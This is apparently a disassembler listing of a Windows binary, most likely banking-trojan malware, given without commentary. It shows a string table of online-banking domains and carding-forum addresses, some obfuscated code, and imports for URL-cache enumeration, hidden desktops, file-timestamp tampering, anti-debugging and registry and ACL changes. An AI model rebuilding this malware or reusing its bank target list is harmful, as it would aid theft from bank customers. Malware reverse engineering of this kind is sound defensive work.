aWww_uralsib_ru	db 'www.uralsib.ru',0   ; DATA XREF: .text:0043C1B0o
a53bank_com	db '53bank.com',0       ; DATA XREF: .text:0043C1ACo
aWww_nbc_caInde	db 'www.nbc.ca/index.php',0 ; DATA XREF: .text:0043C1A8o
aTotallyfreeban	db 'totallyfreebanking.com',0 ; DATA XREF: .text:0043C1A4o
aBarclays_com	db 'barclays.com',0     ; DATA XREF: .text:0043C1A0o
aWww_lbcdirect_	db 'www.lbcdirect.laurentianbank.ca/index.php',0
					; DATA XREF: .text:0043C19Co
aKidosBank_ru	db 'kidos-bank.ru',0    ; DATA XREF: .text:0043C198o
aYambo_biz	db 'yambo.biz',0        ; DATA XREF: .text:0043C194o
aProrat_net	db 'prorat.net',0       ; DATA XREF: .text:0043C190o
aWww1_hsbc_caIn	db 'www1.hsbc.ca/index.php',0 ; DATA XREF: .text:0043C18Co
aWww_ovk_ru	db 'www.ovk.ru',0       ; DATA XREF: .text:0043C188o
aWww_rbc_com	db 'www.rbc.com',0      ; DATA XREF: .text:0043C184o
aMasterX_comFor	db 'master-x.com/forum/',0 ; DATA XREF: .text:0043C180o
aWww_allahabadb	db 'www.allahabadbank.com',0 ; DATA XREF: .text:0043C17Co
aOnlineBusiness	db 'online-business.lloydstsb.co.uk',0 ; DATA XREF: .text:0043C178o
aMyonlineaccoun	db 'myonlineaccounts2.abbeynational.co.uk',0 ; DATA XREF: .text:0043C174o
aWww_absolutban	db 'www.absolutbank.ru',0 ; DATA XREF: .text:0043C170o
aKavkazcenter_c	db 'kavkazcenter.com/russ',0 ; DATA XREF: .text:0043C16Co
aWww_netmagiste	db 'www.netmagister.com',0 ; DATA XREF: .text:0043C168o
aWww_kmb_ru	db 'www.kmb.ru',0       ; DATA XREF: .text:0043C164o
aWww_spyinstruc	db 'www.spyinstructors.com',0 ; DATA XREF: .text:0043C160o
aAcroleinHawk_r	db 'acrolein-hawk.rubanking.halifax-online.co.uk',0
					; DATA XREF: .text:0043C15Co
aWww_icbank_ru	db 'www.icbank.ru',0    ; DATA XREF: .text:0043C158o
aWww_bankofindi	db 'www.bankofindia.com',0 ; DATA XREF: .text:0043C154o
aPizdabolInc_ru	db 'pizdabol-inc.ru',0  ; DATA XREF: .text:0043C150o
aWww_sbrf_ru	db 'www.sbrf.ru',0      ; DATA XREF: .text:0043C14Co
aWww_candidatev	db 'www.candidateverifier.com/index.php',0 ; DATA XREF: .text:0043C148o
aWww_worldbank_	db 'www.worldbank.org/index.php',0 ; DATA XREF: .text:0043C144o
aDigitalRelaxkg	db 'digital-relaxkgb.ru',0 ; DATA XREF: .text:0043C140o
aAsmworm_com	db 'asmworm.com',0      ; DATA XREF: .text:0043C138o
aAtmacasoft_com	db 'atmacasoft.com',0   ; DATA XREF: .text:0043C134o
aCrutop_nuVbu_1	db 'crutop.nu/vbulletin/showthread.php',0 ; DATA XREF: .text:0043C130o
aWww_uniastrum_	db 'www.uniastrum.ru',0 ; DATA XREF: .text:0043C12Co
aCrutop_nuVbu_0	db 'crutop.nu/vbulletin/forumdisplay.php',0 ; DATA XREF: .text:0043C128o
aWww_mmbank_ru	db 'www.mmbank.ru',0    ; DATA XREF: .text:0043C124o
aCrutop_nuVbull	db 'crutop.nu/vbulletin/',0 ; DATA XREF: .text:0043C120o
aAlfabank_ru	db 'alfabank.ru',0      ; DATA XREF: .text:0043C11Co
aHyperSpaceFuel	db 'hyper-space-fuel.ru',0 ; DATA XREF: .text:0043C118o
aWww_cwbank_com	db 'www.cwbank.com',0   ; DATA XREF: .text:0043C114o
aWww_vtb_ru	db 'www.vtb.ru',0       ; DATA XREF: .text:0043C110o
aWww_cibc_com	db 'www.cibc.com',0     ; DATA XREF: .text:0043C10Co
aWww_bankofmadu	db 'www.bankofmadura.com',0 ; DATA XREF: .text:0043C108o
aWww_bmo_com	db 'www.bmo.com',0      ; DATA XREF: .text:0043C104o
aWww_bankBanque	db 'www.bank-banque-canada.ca/index.php',0 ; DATA XREF: .text:0043C100o
aWww_masterbank	db 'www.masterbank.ru',0 ; DATA XREF: .text:0043C0FCo
aEbookfinaltras	db 'ebookfinaltrash.ru',0 ; DATA XREF: .text:0043C0F8o
aMasterX_com	db 'master-x.com',0     ; DATA XREF: .text:0043C0F4o
aWww_bbin_ru	db 'www.bbin.ru',0      ; DATA XREF: .text:0043C0F0o
aOlb2_nationet_	db 'olb2.nationet.com',0 ; DATA XREF: .text:0043C0ECo
aWelcome3_smile	db 'welcome3.smile.co.uk',0 ; DATA XREF: .text:0043C0E8o
aWww_baltbank_r	db 'www.baltbank.ru',0  ; DATA XREF: .text:0043C0E4o
aNew_egg_com	db 'new.egg.com',0      ; DATA XREF: .text:0043C0E0o
aProdexteam_n_0	db 'prodexteam.netcrutop.nu',0 ; DATA XREF: .text:0043C0DCo
aWww_proxySocks	db 'www.proxy-socks.net',0 ; DATA XREF: .text:0043C0D8o
					; .text:0043C13Co
aWww_cbr_ru	db 'www.cbr.ru',0       ; DATA XREF: .text:0043C0D4o
aProdexteam_net	db 'prodexteam.net/main.htm',0 ; DATA XREF: .text:0043C0D0o
aProdexteam_n_1	db 'prodexteam.net',0   ; DATA XREF: .text:0043C0CCo
aChechenpress_i	db 'chechenpress.info',0 ; DATA XREF: .text:0043C0C8o
aSiliconfirewar	db 'siliconfireware.ru',0 ; DATA XREF: .text:off_43C0C4o
		db '://',0
		align 4


loc_447ACC:				; DATA XREF: sub_406D2E+D4o
		and	eax, 0CB332C44h
		rcl	byte ptr es:[ecx], 1
		mov	ah, 83h
		add	al, al
		dec	edi
		fld	dword ptr [ecx]


loc_447ADB:				; DATA XREF: sub_406D2E+4C8o
					; sub_406D2E+92Do
		sbb	edi, edi
		icebp
		push	eax
		xor	[ebp-44EE3068h], dh
		add	byte ptr [eax],	0AAh


loc_447AE8:				; DATA XREF: sub_406D2E+865o
		add	[ebp-0E08F432h], bh
		push	eax
		xor	[ebp-44EE3068h], dh
		add	byte ptr [eax],	0AAh


loc_447AF8:				; DATA XREF: sub_406D2E+2E5o
		add	[ebp+44270BCEh], bh
		sub	al, 33h
		retf
; ---------------------------------------------------------------------------
		db 26h,	0D0h, 11h
		dd 0C00083B4h, 1901D94Fh
dword_447B0C	dd 85CB6900h, 11CF4D95h, 80000C96h, 85EEF4C7h; IID riid
riid		dd 0			; Data1	; DATA XREF: sub_40696D+52o
		dw 0			; Data2
		dw 0			; Data3
		db 0C0h, 6 dup(0), 46h	; Data4
dword_447B2C	dd 0D30C1661h, 11D0CDAFh, 0C0003E8Ah, 6EE2C94Fhdword_447B3C	dd 10h dup(0)						; sub_40BCDC:loc_40BCF6o ...
dword_447B7C	dd 0							; sub_40BC80:loc_40BCC2o ...
		dd 0Fh dup(0)
dword_447BBC	dd 0							; sub_40BDE5+825r
dword_447BC0	dd 0							; sub_40BDE5+82Cr
dword_447BC4	dd 0							; sub_40BDE5+834r
dword_447BC8	dd 0							; sub_40BDE5+83Cr
		dd 10Dh	dup(0)
off_448000	dd offset dword_44810C	; DATA XREF: .text:00448E00o
		dd 2 dup(0)
		dd offset dword_44810C
		dd offset dword_44810C
		dd offset dword_44811C
		align 10h
		dd offset dword_44811C
		dd offset dword_44811C
off_448028	dd offset dword_448134	; DATA XREF: .text:00448E24o
					; .text:00448E28o ...
		dd 2 dup(0)
		dd offset dword_448134
		dd offset dword_448134
off_44803C	dd offset dword_448214	; DATA XREF: .text:00448E44o
					; .text:00448E48o ...
		dd 2 dup(0)
		dd offset dword_448214
		dd offset dword_448214
		dd offset dword_448290
		dd 2 dup(0)
		dd offset dword_448290
		dd offset dword_448290
		dd offset dword_4482AC
		align 10h
		dd offset dword_4482AC
		dd offset dword_4482AC
off_448078	dd offset dword_4482E8	; DATA XREF: .text:00448FCCo
					; .text:00448FD0o ...
		dd 2 dup(0)
		dd offset dword_4482E8
		dd offset dword_4482E8
		dd offset dword_448338
		dd 2 dup(0)
		dd offset dword_448338
		dd offset dword_448338
		dd 1Ah dup(0)
		dd 48574h
dword_44810C	dd 2 dup(0)						; .text:0044800Co ...
		dd 48588h, 485A4h
dword_44811C	dd 2 dup(0)						; .text:00448020o ...
		dd 485C0h, 485D4h, 485E8h, 485F8h
dword_448134	dd 2 dup(0)						; .text:00448034o ...
		dd 4860Ch, 4861Ch, 4862Ch, 48648h, 4865Ch, 48674h, 4868Ch
		dd 4869Ch, 486ACh, 486BCh, 486D4h, 486E8h, 486FCh, 48710h
		dd 48728h, 48738h, 48748h, 48758h, 48768h, 48778h, 48790h
		dd 487A8h, 487BCh, 487D0h, 487E4h, 487FCh, 48814h, 48824h
		dd 48834h, 48848h, 48858h, 48864h, 48874h, 48880h, 48890h
		dd 488A0h, 488ACh, 488B8h, 488C8h, 488D8h, 488ECh, 488FCh
		dd 48904h, 48918h, 48928h, 48938h, 48948h, 48960h, 4896Ch
		dd 48978h, 48988h, 48994h, 489A0h, 489B4h
dword_448214	dd 2 dup(0)						; .text:00448048o ...
		dd 489C4h, 489D8h, 489ECh, 489FCh, 48A0Ch, 48A18h, 48A28h
		dd 48A34h, 48A4Ch, 48A5Ch, 48A68h, 48A74h, 48A84h, 48A94h
		dd 48AA8h, 48ABCh, 48AD0h, 48AE4h, 48AF8h, 48B0Ch, 48B20h
		dd 48B2Ch, 48B3Ch, 48B50h, 48B64h, 48B74h, 48B88h, 48B98h
		dd 48BA8h
dword_448290	dd 2 dup(0)						; .text:0044805Co ...
		dd 48BBCh, 48BD0h, 48BE0h, 48BF0h, 48C08h
dword_4482AC	dd 2 dup(0)						; .text:00448070o ...
		dd 48C18h, 48C2Ch, 48C44h, 48C58h, 48C68h, 48C78h, 48C8Ch
		dd 48CA0h, 48CB4h, 48CC8h, 48CDCh, 48CF8h, 48D10h
dword_4482E8	dd 2 dup(0)						; .text:00448084o ...
		dd 48D2Ch, 48D34h, 48D44h, 48D50h, 48D5Ch, 48D64h, 48D6Ch
		dd 48D78h, 48D84h, 48D90h, 48D98h, 48DA0h, 48DACh, 48DB8h
		dd 48DC0h, 48DCCh, 48DD8h, 48DE4h
dword_448338	dd 2 dup(0)						; .text:00448098o ...
_text		ends

;
; Imports from oleaut32.dll
;
; ===========================================================================

; Segment type:	Externs
; _idata
; BSTR __stdcall SysAllocString(const OLECHAR *psz)
		extrn __imp_SysAllocString:dword ; DATA	XREF: SysAllocStringr

;
; Imports from wininet.dll
;
		extrn __imp_FindFirstUrlCacheEntryA:dword
					; DATA XREF: FindFirstUrlCacheEntryAr
		extrn __imp_FindNextUrlCacheEntryA:dword
					; DATA XREF: FindNextUrlCacheEntryAr

;
; Imports from ole32.dll
;
; HRESULT __stdcall CoCreateInstance(const IID *const rclsid, LPUNKNOWN	pUnkOuter, DWORD dwClsContext, const IID *const	riid, LPVOID *ppv)
		extrn __imp_CoCreateInstance:dword ; DATA XREF:	CoCreateInstancer
; HRESULT __stdcall CLSIDFromString(LPOLESTR lpsz, LPCLSID pclsid)
		extrn __imp_CLSIDFromString:dword ; DATA XREF: CLSIDFromStringr
; HRESULT __stdcall CoInitialize(LPVOID	pvReserved)
		extrn __imp_CoInitialize:dword ; DATA XREF: CoInitializer
; void __stdcall CoUninitialize()
		extrn __imp_CoUninitialize:dword ; DATA	XREF: CoUninitializer

;
; Imports from kernel32.dll
;
; BOOL __stdcall DeleteFileA(LPCSTR lpFileName)
		extrn __imp_DeleteFileA:dword ;	DATA XREF: DeleteFileAr
; void __stdcall ExitProcess(UINT uExitCode)
		extrn __imp_ExitProcess:dword ;	DATA XREF: ExitProcessr
; DWORD	__stdcall ExpandEnvironmentStringsA(LPCSTR lpSrc, LPSTR	lpDst, DWORD nSize)
		extrn __imp_ExpandEnvironmentStringsA:dword
					; DATA XREF: ExpandEnvironmentStringsAr
; LPSTR	__stdcall GetCommandLineA()
		extrn __imp_GetCommandLineA:dword ; DATA XREF: GetCommandLineAr
; DWORD	__stdcall GetCurrentProcessId()
		extrn __imp_GetCurrentProcessId:dword ;	DATA XREF: GetCurrentProcessIdr
; DWORD	__stdcall GetCurrentThreadId()
		extrn __imp_GetCurrentThreadId:dword ; DATA XREF: GetCurrentThreadIdr
; DWORD	__stdcall GetFileSize(HANDLE hFile, LPDWORD lpFileSizeHigh)
		extrn __imp_GetFileSize:dword ;	DATA XREF: GetFileSizer
; BOOL __stdcall GetFileTime(HANDLE hFile, LPFILETIME lpCreationTime, LPFILETIME lpLastAccessTime, LPFILETIME lpLastWriteTime)
		extrn __imp_GetFileTime:dword ;	DATA XREF: GetFileTimer
; DWORD	__stdcall GetLastError()
		extrn __imp_GetLastError:dword ; DATA XREF: GetLastErrorr
; DWORD	__stdcall GetModuleFileNameA(HMODULE hModule, LPCH lpFilename, DWORD nSize)
		extrn __imp_GetModuleFileNameA:dword ; DATA XREF: GetModuleFileNameAr
; HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName)
		extrn __imp_GetModuleHandleA:dword ; DATA XREF:	GetModuleHandleAr
; FARPROC __stdcall GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
		extrn __imp_GetProcAddress:dword ; DATA	XREF: GetProcAddressr
; HANDLE __stdcall GetProcessHeap()
		extrn __imp_GetProcessHeap:dword ; DATA	XREF: GetProcessHeapr
; UINT __stdcall GetSystemDirectoryA(LPSTR lpBuffer, UINT uSize)
		extrn __imp_GetSystemDirectoryA:dword ;	DATA XREF: GetSystemDirectoryAr
; BOOL __stdcall CloseHandle(HANDLE hObject)
		extrn __imp_CloseHandle:dword ;	DATA XREF: CloseHandler
; DWORD	__stdcall GetTempPathA(DWORD nBufferLength, LPSTR lpBuffer)
		extrn __imp_GetTempPathA:dword ; DATA XREF: GetTempPathAr
; DWORD	__stdcall GetTickCount()
		extrn __imp_GetTickCount:dword ; DATA XREF: GetTickCountr
; DWORD	__stdcall GetVersion()
		extrn __imp_GetVersion:dword ; DATA XREF: GetVersionr
; BOOL __stdcall GetVersionExA(LPOSVERSIONINFOA	lpVersionInformation)
		extrn __imp_GetVersionExA:dword	; DATA XREF: GetVersionExAr
; BOOL __stdcall GetVolumeInformationA(LPCSTR lpRootPathName, LPSTR lpVolumeNameBuffer,	DWORD nVolumeNameSize, LPDWORD lpVolumeSerialNumber, LPDWORD lpMaximumComponentLength, LPDWORD lpFileSystemFlags, LPSTR	lpFileSystemNameBuffer,	DWORD nFileSystemNameSize)
		extrn __imp_GetVolumeInformationA:dword	; DATA XREF: GetVolumeInformationAr
; UINT __stdcall GetWindowsDirectoryA(LPSTR lpBuffer, UINT uSize)
		extrn __imp_GetWindowsDirectoryA:dword ; DATA XREF: GetWindowsDirectoryAr
; ATOM __stdcall GlobalAddAtomA(LPCSTR lpString)
		extrn __imp_GlobalAddAtomA:dword ; DATA	XREF: GlobalAddAtomAr
; ATOM __stdcall GlobalDeleteAtom(ATOM nAtom)
		extrn __imp_GlobalDeleteAtom:dword ; DATA XREF:	GlobalDeleteAtomr
; ATOM __stdcall GlobalFindAtomA(LPCSTR	lpString)
		extrn __imp_GlobalFindAtomA:dword ; DATA XREF: GlobalFindAtomAr
; void __stdcall GlobalMemoryStatus(LPMEMORYSTATUS lpBuffer)
		extrn __imp_GlobalMemoryStatus:dword ; DATA XREF: GlobalMemoryStatusr
; LONG __stdcall InterlockedIncrement(volatile LONG *lpAddend)
		extrn __imp_InterlockedIncrement:dword ; DATA XREF: InterlockedIncrementr
; BOOL __stdcall IsBadReadPtr(const void *lp, UINT_PTR ucb)
		extrn __imp_IsBadReadPtr:dword ; DATA XREF: IsBadReadPtrr
; BOOL __stdcall IsBadWritePtr(LPVOID lp, UINT_PTR ucb)
		extrn __imp_IsBadWritePtr:dword	; DATA XREF: IsBadWritePtrr
; BOOL __stdcall IsDebuggerPresent()
		extrn __imp_IsDebuggerPresent:dword ; DATA XREF: IsDebuggerPresentr
; HMODULE __stdcall LoadLibraryA(LPCSTR	lpLibFileName)
		extrn __imp_LoadLibraryA:dword ; DATA XREF: LoadLibraryAr
; BOOL __stdcall CopyFileA(LPCSTR lpExistingFileName, LPCSTR lpNewFileName, BOOL bFailIfExists)
		extrn __imp_CopyFileA:dword ; DATA XREF: CopyFileAr
; HLOCAL __stdcall LocalAlloc(UINT uFlags, SIZE_T uBytes)
		extrn __imp_LocalAlloc:dword ; DATA XREF: LocalAllocr
; HLOCAL __stdcall LocalFree(HLOCAL hMem)
		extrn __imp_LocalFree:dword ; DATA XREF: LocalFreer
; HANDLE __stdcall OpenMutexA(DWORD dwDesiredAccess, BOOL bInheritHandle, LPCSTR lpName)
		extrn __imp_OpenMutexA:dword ; DATA XREF: OpenMutexAr
; HANDLE __stdcall OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId)
		extrn __imp_OpenProcess:dword ;	DATA XREF: OpenProcessr
; BOOL __stdcall ReadFile(HANDLE hFile,	LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped)
		extrn __imp_ReadFile:dword ; DATA XREF:	ReadFiler
		extrn __imp_RtlUnwind:dword ; DATA XREF: RtlUnwindr
		extrn __imp_RtlZeroMemory:dword	; DATA XREF: RtlZeroMemoryr
; HANDLE __stdcall CreateFileA(LPCSTR lpFileName, DWORD	dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes,	DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE	hTemplateFile)
		extrn __imp_CreateFileA:dword ;	DATA XREF: CreateFileAr
; DWORD	__stdcall SetFilePointer(HANDLE	hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod)
		extrn __imp_SetFilePointer:dword ; DATA	XREF: SetFilePointerr
; BOOL __stdcall SetFileTime(HANDLE hFile, const FILETIME *lpCreationTime, const FILETIME *lpLastAccessTime, const FILETIME *lpLastWriteTime)
		extrn __imp_SetFileTime:dword ;	DATA XREF: SetFileTimer
; void __stdcall Sleep(DWORD dwMilliseconds)
		extrn __imp_Sleep:dword	; DATA XREF: Sleepr
; BOOL __stdcall TerminateProcess(HANDLE hProcess, UINT	uExitCode)
		extrn __imp_TerminateProcess:dword ; DATA XREF:	TerminateProcessr
; LPVOID __stdcall VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
		extrn __imp_VirtualAlloc:dword ; DATA XREF: VirtualAllocr
; BOOL __stdcall VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType)
		extrn __imp_VirtualFree:dword ;	DATA XREF: VirtualFreer
; SIZE_T __stdcall VirtualQuery(LPCVOID	lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength)
		extrn __imp_VirtualQuery:dword ; DATA XREF: VirtualQueryr
; int __stdcall	WideCharToMultiByte(UINT CodePage, DWORD dwFlags, LPCWSTR lpWideCharStr, int cchWideChar, LPSTR	lpMultiByteStr,	int cbMultiByte, LPCSTR	lpDefaultChar, LPBOOL lpUsedDefaultChar)
		extrn __imp_WideCharToMultiByte:dword ;	DATA XREF: WideCharToMultiByter
; UINT __stdcall WinExec(LPCSTR	lpCmdLine, UINT	uCmdShow)
		extrn __imp_WinExec:dword ; DATA XREF: WinExecr
; BOOL __stdcall WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite,	LPDWORD	lpNumberOfBytesWritten,	LPOVERLAPPED lpOverlapped)
		extrn __imp_WriteFile:dword ; DATA XREF: WriteFiler
; HANDLE __stdcall CreateMutexA(LPSECURITY_ATTRIBUTES lpMutexAttributes, BOOL bInitialOwner, LPCSTR lpName)
		extrn __imp_CreateMutexA:dword ; DATA XREF: CreateMutexAr
; int __stdcall	lstrlenA(LPCSTR	lpString)
		extrn __imp_lstrlenA:dword ; DATA XREF:	lstrlenAr
; int __stdcall	lstrlenW(LPCWSTR lpString)
		extrn __imp_lstrlenW:dword ; DATA XREF:	lstrlenWr
; BOOL __stdcall CreateProcessA(LPCSTR lpApplicationName, LPSTR	lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES	lpThreadAttributes, BOOL bInheritHandles, DWORD	dwCreationFlags, LPVOID	lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo,	LPPROCESS_INFORMATION lpProcessInformation)
		extrn __imp_CreateProcessA:dword ; DATA	XREF: CreateProcessAr
; HANDLE __stdcall CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags,	LPDWORD	lpThreadId)
		extrn __imp_CreateThread:dword ; DATA XREF: CreateThreadr

;
; Imports from user32.dll
;
; LRESULT __stdcall CallWindowProcA(WNDPROC lpPrevWndFunc, HWND	hWnd, UINT Msg,	WPARAM wParam, LPARAM lParam)
		extrn __imp_CallWindowProcA:dword ; DATA XREF: CallWindowProcAr
; int __stdcall	GetWindowTextA(HWND hWnd, LPSTR	lpString, int nMaxCount)
		extrn __imp_GetWindowTextA:dword ; DATA	XREF: GetWindowTextAr
; BOOL __stdcall GetWindowRect(HWND hWnd, LPRECT lpRect)
		extrn __imp_GetWindowRect:dword	; DATA XREF: GetWindowRectr
; HWND __stdcall FindWindowA(LPCSTR lpClassName, LPCSTR	lpWindowName)
		extrn __imp_FindWindowA:dword ;	DATA XREF: FindWindowAr
; HWND __stdcall GetWindow(HWND	hWnd, UINT uCmd)
		extrn __imp_GetWindow:dword ; DATA XREF: GetWindowr
; int __stdcall	GetClassNameA(HWND hWnd, LPSTR lpClassName, int	nMaxCount)
		extrn __imp_GetClassNameA:dword	; DATA XREF: GetClassNameAr
; HWND __stdcall SetFocus(HWND hWnd)
		extrn __imp_SetFocus:dword ; DATA XREF:	SetFocusr
; HWND __stdcall GetForegroundWindow()
		extrn __imp_GetForegroundWindow:dword ;	DATA XREF: GetForegroundWindowr
; HCURSOR __stdcall LoadCursorA(HINSTANCE hInstance, LPCSTR lpCursorName)
		extrn __imp_LoadCursorA:dword ;	DATA XREF: LoadCursorAr
; UINT_PTR __stdcall SetTimer(HWND hWnd, UINT_PTR nIDEvent, UINT uElapse, TIMERPROC lpTimerFunc)
		extrn __imp_SetTimer:dword ; DATA XREF:	SetTimerr
; HICON	__stdcall LoadIconA(HINSTANCE hInstance, LPCSTR	lpIconName)
		extrn __imp_LoadIconA:dword ; DATA XREF: LoadIconAr
; int __stdcall	MessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption,	UINT uType)
		extrn __imp_MessageBoxA:dword ;	DATA XREF: MessageBoxAr
; BOOL __stdcall GetMessageA(LPMSG lpMsg, HWND hWnd, UINT wMsgFilterMin, UINT wMsgFilterMax)
		extrn __imp_GetMessageA:dword ;	DATA XREF: GetMessageAr
; LONG __stdcall GetWindowLongA(HWND hWnd, int nIndex)
		extrn __imp_GetWindowLongA:dword ; DATA	XREF: GetWindowLongAr
; LONG __stdcall SetWindowLongA(HWND hWnd, int nIndex, LONG dwNewLong)
		extrn __imp_SetWindowLongA:dword ; DATA	XREF: SetWindowLongAr
; HDESK	__stdcall CreateDesktopA(LPCSTR	lpszDesktop, LPCSTR lpszDevice,	LPDEVMODEA pDevmode, DWORD dwFlags, ACCESS_MASK	dwDesiredAccess, LPSECURITY_ATTRIBUTES lpsa)
		extrn __imp_CreateDesktopA:dword ; DATA	XREF: CreateDesktopAr
; BOOL __stdcall SetThreadDesktop(HDESK	hDesktop)
		extrn __imp_SetThreadDesktop:dword ; DATA XREF:	SetThreadDesktopr
; HDESK	__stdcall GetThreadDesktop(DWORD dwThreadId)
		extrn __imp_GetThreadDesktop:dword ; DATA XREF:	GetThreadDesktopr
; BOOL __stdcall TranslateMessage(const	MSG *lpMsg)
		extrn __imp_TranslateMessage:dword ; DATA XREF:	TranslateMessager
; LRESULT __stdcall DispatchMessageA(const MSG *lpMsg)
		extrn __imp_DispatchMessageA:dword ; DATA XREF:	DispatchMessageAr
; int wsprintfA(LPSTR, LPCSTR, ...)
		extrn __imp_wsprintfA:dword ; DATA XREF: wsprintfAr
; LRESULT __stdcall SendMessageA(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
		extrn __imp_SendMessageA:dword ; DATA XREF: SendMessageAr
; ATOM __stdcall RegisterClassA(const WNDCLASSA	*lpWndClass)
		extrn __imp_RegisterClassA:dword ; DATA	XREF: RegisterClassAr
; void __stdcall PostQuitMessage(int nExitCode)
		extrn __imp_PostQuitMessage:dword ; DATA XREF: PostQuitMessager
; BOOL __stdcall ShowWindow(HWND hWnd, int nCmdShow)
		extrn __imp_ShowWindow:dword ; DATA XREF: ShowWindowr
; HWND __stdcall CreateWindowExA(DWORD dwExStyle, LPCSTR lpClassName, LPCSTR lpWindowName, DWORD dwStyle, int X, int Y,	int nWidth, int	nHeight, HWND hWndParent, HMENU	hMenu, HINSTANCE hInstance, LPVOID lpParam)
		extrn __imp_CreateWindowExA:dword ; DATA XREF: CreateWindowExAr
; BOOL __stdcall DestroyWindow(HWND hWnd)
		extrn __imp_DestroyWindow:dword	; DATA XREF: DestroyWindowr
; BOOL __stdcall MoveWindow(HWND hWnd, int X, int Y, int nWidth, int nHeight, BOOL bRepaint)
		extrn __imp_MoveWindow:dword ; DATA XREF: MoveWindowr
; LRESULT __stdcall DefWindowProcA(HWND	hWnd, UINT Msg,	WPARAM wParam, LPARAM lParam)
		extrn __imp_DefWindowProcA:dword ; DATA	XREF: DefWindowProcAr

;
; Imports from gdi32.dll
;
; HGDIOBJ __stdcall GetStockObject(int i)
		extrn __imp_GetStockObject:dword ; DATA	XREF: GetStockObjectr
; COLORREF __stdcall SetBkColor(HDC hdc, COLORREF color)
		extrn __imp_SetBkColor:dword ; DATA XREF: SetBkColorr
; COLORREF __stdcall SetTextColor(HDC hdc, COLORREF color)
		extrn __imp_SetTextColor:dword ; DATA XREF: SetTextColorr
; HBRUSH __stdcall CreateBrushIndirect(const LOGBRUSH *plbrush)
		extrn __imp_CreateBrushIndirect:dword ;	DATA XREF: CreateBrushIndirectr
; HFONT	__stdcall CreateFontA(int cHeight, int cWidth, int cEscapement,	int cOrientation, int cWeight, DWORD bItalic, DWORD bUnderline,	DWORD bStrikeOut, DWORD	iCharSet, DWORD	iOutPrecision, DWORD iClipPrecision, DWORD iQuality, DWORD iPitchAndFamily, LPCSTR pszFaceName)
		extrn __imp_CreateFontA:dword ;	DATA XREF: CreateFontAr

;
; Imports from advapi32.dll
;
; BOOL __stdcall OpenProcessToken(HANDLE ProcessHandle,	DWORD DesiredAccess, PHANDLE TokenHandle)
		extrn __imp_OpenProcessToken:dword ; DATA XREF:	OpenProcessTokenr
; BOOL __stdcall GetTokenInformation(HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass,	LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength)
		extrn __imp_GetTokenInformation:dword ;	DATA XREF: GetTokenInformationr
; LSTATUS __stdcall RegCreateKeyExA(HKEY hKey, LPCSTR lpSubKey,	DWORD Reserved,	LPSTR lpClass, DWORD dwOptions,	REGSAM samDesired, const LPSECURITY_ATTRIBUTES lpSecurityAttributes, PHKEY phkResult, LPDWORD lpdwDisposition)
		extrn __imp_RegCreateKeyExA:dword ; DATA XREF: RegCreateKeyExAr
; LSTATUS __stdcall RegCloseKey(HKEY hKey)
		extrn __imp_RegCloseKey:dword ;	DATA XREF: RegCloseKeyr
; LSTATUS __stdcall RegOpenKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY	phkResult)
		extrn __imp_RegOpenKeyExA:dword	; DATA XREF: RegOpenKeyExAr
; LSTATUS __stdcall RegQueryValueExA(HKEY hKey,	LPCSTR lpValueName, LPDWORD lpReserved,	LPDWORD	lpType,	LPBYTE lpData, LPDWORD lpcbData)
		extrn __imp_RegQueryValueExA:dword ; DATA XREF:	RegQueryValueExAr
; LSTATUS __stdcall RegSetValueExA(HKEY	hKey, LPCSTR lpValueName, DWORD	Reserved, DWORD	dwType,	const BYTE *lpData, DWORD cbData)
		extrn __imp_RegSetValueExA:dword ; DATA	XREF: RegSetValueExAr
; DWORD	__stdcall GetSecurityInfo(HANDLE handle, SE_OBJECT_TYPE	ObjectType, SECURITY_INFORMATION SecurityInfo, PSID *ppsidOwner, PSID *ppsidGroup, PACL	*ppDacl, PACL *ppSacl, PSECURITY_DESCRIPTOR *ppSecurityDescriptor)
		extrn __imp_GetSecurityInfo:dword ; DATA XREF: GetSecurityInfor
; DWORD	__stdcall SetSecurityInfo(HANDLE handle, SE_OBJECT_TYPE	ObjectType, SECURITY_INFORMATION SecurityInfo, PSID psidOwner, PSID psidGroup, PACL pDacl, PACL	pSacl)
		extrn __imp_SetSecurityInfo:dword ; DATA XREF: SetSecurityInfor
; DWORD	__stdcall SetEntriesInAclA(ULONG cCountOfExplicitEntries, PEXPLICIT_ACCESS_A pListOfExplicitEntries, PACL OldAcl, PACL *NewAcl)
		extrn __imp_SetEntriesInAclA:dword ; DATA XREF:	SetEntriesInAclAr
; PSID_IDENTIFIER_AUTHORITY __stdcall GetSidIdentifierAuthority(PSID pSid)
		extrn __imp_GetSidIdentifierAuthority:dword
					; DATA XREF: GetSidIdentifierAuthorityr
; PDWORD __stdcall GetSidSubAuthority(PSID pSid, DWORD nSubAuthority)
		extrn __imp_GetSidSubAuthority:dword ; DATA XREF: GetSidSubAuthorityr
; PUCHAR __stdcall GetSidSubAuthorityCount(PSID	pSid)
		extrn __imp_GetSidSubAuthorityCount:dword
					; DATA XREF: GetSidSubAuthorityCountr

;
; Imports from crtdll.dll
;
